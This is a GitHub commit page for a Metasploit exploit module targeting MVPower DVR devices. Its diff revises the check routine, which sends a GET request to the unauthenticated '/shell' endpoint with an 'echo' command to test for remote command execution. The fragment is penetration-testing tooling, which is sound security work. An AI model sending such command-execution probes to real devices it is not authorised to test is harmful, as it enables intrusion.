Skip to content

Commit 5d6a159

Browse files
committed
Use query instead of uri in mvpower_dvr_shell_exec
I should have caught this in rapid7#7987, @bcoles, but I forgot. Apologies. This commit finishes what @itsmeroy2012 attempted to do in rapid7#8070.
1 parent 7933119 commit 5d6a159

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/http/mvpower_dvr_shell_exec.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,8 +60,9 @@ def check
6060
begin
6161
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
6262
res = send_request_cgi(
63-
'method' => "GET",
64-
'uri' => "/shell?echo+#{fingerprint}",
63+
'method' => 'GET',
64+
'uri' => '/shell',
65+
'query' => "echo+#{fingerprint}",
6566
'headers' => { 'Connection' => 'Keep-Alive' }
6667
)
6768
if res && res.body.include?(fingerprint)

0 commit comments

Comments
 (0)